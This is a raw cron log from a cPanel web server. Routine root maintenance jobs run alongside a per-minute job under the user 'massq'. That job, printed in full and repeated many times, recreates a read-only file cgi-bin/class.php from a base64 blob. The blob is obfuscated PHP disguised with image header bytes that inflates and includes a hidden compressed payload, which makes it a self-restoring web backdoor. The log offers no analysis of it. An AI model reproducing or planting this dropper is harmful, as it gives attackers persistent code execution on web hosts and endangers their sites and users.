Sep  5 00:15:01 server CROND[11567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:15:01 server CROND[11570]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 00:15:01 server CROND[11569]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 00:15:01 server CROND[11575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:15:01 server CROND[11574]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 00:15:01 server CROND[11573]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:15:01 server CROND[11568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:15:01 server CROND[11572]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  5 00:16:01 server CROND[12500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:16:01 server CROND[12501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:16:01 server CROND[12502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:17:01 server CROND[12925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:17:01 server CROND[12926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:17:01 server CROND[12927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:18:01 server CROND[13307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:18:01 server CROND[13308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:18:01 server CROND[13312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:19:01 server CROND[13786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:19:01 server CROND[13787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:19:01 server CROND[13788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:20:01 server CROND[14193]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 00:20:01 server CROND[14203]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 00:20:01 server CROND[14202]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 00:20:01 server CROND[14207]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:20:01 server CROND[14205]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 00:20:01 server CROND[14204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:20:01 server CROND[14208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:20:01 server CROND[14206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:20:01 server CROND[14209]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:21:01 server CROND[15054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:21:01 server CROND[15055]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:21:01 server CROND[15056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:22:01 server CROND[15430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:22:01 server CROND[15432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:22:01 server CROND[15433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:23:01 server CROND[15814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:23:01 server CROND[15815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:23:01 server CROND[15816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:24:01 server CROND[16351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:24:01 server CROND[16352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:24:01 server CROND[16353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:25:01 server CROND[16745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:25:01 server CROND[16746]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 00:25:01 server CROND[16751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:25:01 server CROND[16750]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 00:25:01 server CROND[16752]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:25:01 server CROND[16754]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 00:25:01 server CROND[16753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 00:25:01 server CROND[16748]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:26:01 server CROND[17599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
